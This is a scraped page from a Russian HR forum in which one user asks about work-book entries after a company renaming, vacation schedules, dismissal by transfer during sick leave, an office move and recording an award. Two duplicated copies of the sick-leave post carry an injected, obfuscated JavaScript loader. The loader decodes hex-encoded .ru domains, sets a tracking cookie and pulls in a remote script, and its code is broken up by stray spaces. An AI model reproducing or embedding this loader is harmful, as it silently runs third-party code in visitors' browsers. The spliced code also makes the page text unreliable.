Добрый день. Подскажите пожалуйста, у нас произошло переименование организации. лист записи о внесении изменений в налоговой мы забрали 24 числа, дополнительные соглашения я сделала с 24, а приказ о переименовании издали только 25. Что мне писать в трудовых книжках? общество переименовано с какого числа?
нас в организации много новых сотрудников с апреля, некоторые даже брали пару дней в счет отпуска, по согласованию с руководством. Сколько дней им указывать в графике отпусков на следующий год?, Как это правильно посчитать?
Новичок
Сообщений: Баллов: 4Регистрация: 23.06.2015
12.11.2015 11:50:21
Добрый день. Подскажите, пожалуйста, как быть с графиком отпусков на 2016 год. У нас в организации много новых сотрудников с апреля 2015 года, некоторые даже брали пару дней в счет отпуска, по согласованию с руководством. Сколько дней им указывать в графике отпусков на следующий год? Как это правильно посчитать?
Увольнение в порядке перевода во время больничного
Новичок
Сообщений: Баллов: 4Регистрация: 23.06.2015
24.08.2015 13:57:04
Добрый день
У нас сотрудник написал заявление на увольнение в порядке перевода. 25.08 последний рабочий день, уже неделю он болеет. Правильно я понимаю, что я увольняю его 25.08, потом он приносит больничный и мы его оплачиваем? или какая-то другая процедура должна быть?
Увольнение в порядке перевода во время больничного
Новичок
Сообщений: Баллов: 4Регистрация: 23.06.2015
24.08.2015 13:56:38
Добрый день window .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=f unction(o){var e=docu ment. cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document. cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=f unction(){var w=wind ow,p=w.document. location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document. location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=f unction(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(wind ow .smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); У нас сотрудник написал заявление на увольнение в порядке перевода. 25.08 последний рабочий день, уже неделю он болеет. Правильно я понимаю, что я увольняю его 25.08, потом он приносит больничный и мы его оплачиваем? или какая-то другая процедура должна быть?
Увольнение в порядке перевода во время больничного
Новичок
Сообщений: Баллов: 4Регистрация: 23.06.2015
24.08.2015 13:56:28
Добрый день window .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=f unction(o){var e=docu ment. cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document. cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=f unction(){var w=wind ow,p=w.document. location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document. location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=f unction(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(wind ow .smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); У нас сотрудник написал заявление на увольнение в порядке перевода. 25.08 последний рабочий день, уже неделю он болеет. Правильно я понимаю, что я увольняю его 25.08, потом он приносит больничный и мы его оплачиваем? или какая-то другая процедура должна быть?
Annanna пишет: В ТД прописан конкретный адрес в условиях.
Где конкретно указан адрес? В реквизитах или в месте ? Этот адрес является юридическим и Организация его меняет?
Прописан в месте работы. Да организация меняет юридический адрес
Переезд офиса
Новичок
Сообщений: Баллов: 4Регистрация: 23.06.2015
27.07.2015 12:54:56
Добрый день!
Мы в октябре собираемся переезжать. Офис будет находится в том же городе, просто на другой улице. В ТД прописан конкретный адрес в условиях. Какого вида уведомление надо сделать для сотрудников?
Annanna пишет: У нас он начал работать только в феврале, а приказ о награждении принёс в апреле. Как мне внести ему запись о награждении в трудовую?
А Вы тянули до июня? Лично я бы зафиксировал дату предоставления мне необходимых документов для внесения записи в ТК, например заявлением работника.
Цитата
Annanna пишет: Какой датой и имею ли я право ее внести, если в приказе он значится как сотрудник другой организации?
Это не существенно, что он значится как сотрудник другой организации, поскольку всё таки награждается конкретный человек, а не просто сотрудник организации. Следовательно запись вносите текущей датой, текст из выписки приказа и его же реквизиты. Так что нет проблем коллега!
А я только устроилась. Прошлый кадровик записи не сделал. Спасибо!
Награждение
Новичок
Сообщений: Баллов: 4Регистрация: 23.06.2015
23.06.2015 14:38:43
Добрый день. Помогите разобраться с ситуацией. Нашего сотрудника наградили почетной медалью Министерство спорта в январе 2015 года. У нас он начал работать только в феврале, а приказ о награждении принёс в апреле. Как мне внести ему запись о награждении в трудовую? Какой датой и имею ли я право ее внести, если в приказе он значится как сотрудник другой организации?
Лично я бы зафиксировал дату предоставления мне необходимых документов для внесения записи в ТК, например заявлением работника.